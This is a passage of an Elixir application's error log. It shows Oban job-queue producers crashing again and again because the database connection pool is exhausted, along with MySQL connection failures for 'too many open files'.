State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:15:40.239300Z], limit: 50, uuid: "21b787c7-6cbf-4cf5-8dd5-36be6a1c586a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53488>, refresh_timer: #Reference<0.2525715032.1077673987.30141>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:15:40.241642Z], limit: 5, uuid: "0b60598c-2fac-4cd2-8ec8-75d2a79ac062", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.241647Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170798>, refresh_timer: #Reference<0.2525715032.1099431938.53485>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:15:40.239953Z], limit: 10, uuid: "f6da7548-3160-4957-bc81-5279d7a31f4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.239958Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170800>, refresh_timer: #Reference<0.2525715032.1077673987.30154>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:15:40.239677Z], limit: 20, uuid: "2f556e84-47f9-4619-871e-0b92ee5cddb3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.239683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53486>, refresh_timer: #Reference<0.2525715032.1099431938.53448>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:15:40.240110Z], limit: 5, uuid: "12a58caa-ce8a-410f-9ebc-84a39ff08c2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.240115Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170799>, refresh_timer: #Reference<0.2525715032.1099431938.53461>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:15:40.240167Z], limit: 3, uuid: "de620029-ec9a-4bf7-9cba-ee92938ac0fd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:40.240173Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53487>, refresh_timer: #Reference<0.2525715032.1099431938.53464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:54.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:54.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:55.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:01.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:03.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:03.878000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:04.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:15:52.239557Z], limit: 20, uuid: "d857ce81-4790-4b08-8112-a63a8f233149", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.239562Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53669>, refresh_timer: #Reference<0.2525715032.1099431938.53657>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:15:52.240310Z], limit: 5, uuid: "e45d0575-7b63-4f29-97e4-55edb0bb805c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.240315Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171166>, refresh_timer: #Reference<0.2525715032.1077673987.30311>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:15:52.239260Z], limit: 10, uuid: "0030e55d-34ec-46e6-bae4-5cdaae1b5c66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.239266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171164>, refresh_timer: #Reference<0.2525715032.1099431938.53644>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
